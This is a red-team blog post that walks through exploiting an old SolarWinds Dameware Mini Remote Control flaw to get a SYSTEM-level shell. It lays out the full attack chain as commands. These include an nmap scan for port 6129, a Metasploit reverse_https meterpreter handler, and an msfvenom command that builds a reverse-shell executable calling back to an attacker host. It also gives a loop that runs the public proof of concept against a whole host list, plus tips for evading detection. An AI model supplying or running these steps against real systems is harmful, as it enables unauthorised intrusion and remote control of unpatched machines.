Dameware Mini: The Sleeper Hit of 2019?
SolarWinds! You hear the name and immediately think “solutions management” or big screens full of more network information than you can shake a stick at. SolarWinds has been on the scene since 1999, and their products and solutions can be found in networks worldwide.
SolarWinds Dameware Mini Remote Control is one such offering. On the website, it's described as “affordable remote control software for all your customer support and help desk needs.” Sounds pretty handy, right?
Well, Tenable discovered a nifty little flaw in a version released in 2019. You see, the Dameware Mini Remote Client agent supports smart card authentication by default. This allows a user to upload an executable on a host where the SolarWinds Dameware Remote Mini Remote Client Agent Service (DWRCS.exe) is running. The cool thing about that particular service? It runs as SYSTEM.
So, Tenable completes the responsible disclosure, whips up this awesome POC, and you get a nice little CVE to boot. SolarWinds patches the vulnerability, and all is right again.
Alright, so why am I writing about a vulnerability that is almost 4 years old?
Because I still see it all the time, and it has provided me footholds on several gigs over the years. IT admins will patch SolarWinds but forget to patch the Client Agent Service. Well, let’s get some shells! Exploiting this is straightforward.
Enumeration
First, let’s look for hosts that have port 6129 open. Port 6129 is where the Dameware service typically runs. Nmap or Masscan work well for this, but I am also privy to SpooNMAP. (Shameless plug here.)
<em>nmap -sV -g88 -p6129 --open</em>
OK! We have a possible hit. Dameware service is running, and the port is open.
The Setup
We need three parts for the next step: the POC mentioned above, an executable, and a handler (to catch your payload). For this blog, I’ll demonstrate Metasploit and Cobalt Strike.
Grab your POC:
https://github.com/tenable/poc/tree/master/Solarwinds/Dameware
Start your MSF handler/CS listener:
Metasploit:
sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_https; set EXITFUNC thread; set LHOST <IP>; set LPORT 443; exploit -j"
Cobalt Strike:
./teamserver <IP> <Password> <awesome profile>
Cobalt Strike > Listeners > Add
Generate your executable:
Metasploit:
sudo msfvenom -p windows/meterpreter_reverse_https LHOST=<IP> LPORT=443 EXITFUNC=thread -f exe > test.exe
Cobalt Strike:
Payloads > Windows Stageless Payloads > Listener > Generate
Handler setup? Payload generated? Target acquired? Let’s rock…
Exploitation
If you have a ton of hosts, you can do a for loop, like so:
for i in $(cat port6129.txt); do python dameware.py -t $i -e trustedsec.exe; done
Or individually:
python dameware.py -t <target> -e <malicious exec>
If all goes well, you will get output similar to this:
What do we get for our troubles?
…those sweet, sweet shellz!
OpSec Considerations
Personally, I have seen about a 50/50 split between this being detected and not being detected. If you are in the middle of a full-scope red team, avoiding tripping anything is going to come down to 1) not scanning for port 6129 directly, and 2) crafting the absolutely perfect executable. This could also be done with any C2 of your choice. You could even look at crafting something with MacroPack, but thats a blog for another day. Even then, I would save looking for this until stealthier options do not pan out first.
If you have questions or comments, I would love to hear from you. Feel free to reach out on Twitter @fir3d0g or find me on the TrustedSec Discord.